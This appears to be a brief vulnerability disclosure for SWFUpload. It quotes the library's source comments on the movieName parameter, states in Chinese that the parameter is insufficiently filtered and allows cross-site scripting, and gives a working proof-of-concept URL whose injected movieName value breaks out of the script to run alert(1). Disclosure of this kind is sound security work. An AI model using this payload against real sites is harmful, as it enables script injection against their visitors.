// **Configure the callbacks**
// The JavaScript tracks all the instances of SWFUpload on a page.  We can access the instance
// associated with this SWF file using the movieName.  Each callback is accessible by making
// a call directly to it on our instance.  There is no error handling for undefined callback functions.
// A developer would have to deliberately remove the default functions,set the variable to null, or remove
// it from the init function.

参数movieName过滤不严导致存在XSS
POC:
swfupload/swfupload.swf?movieName=%22%5d%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%281%29;//
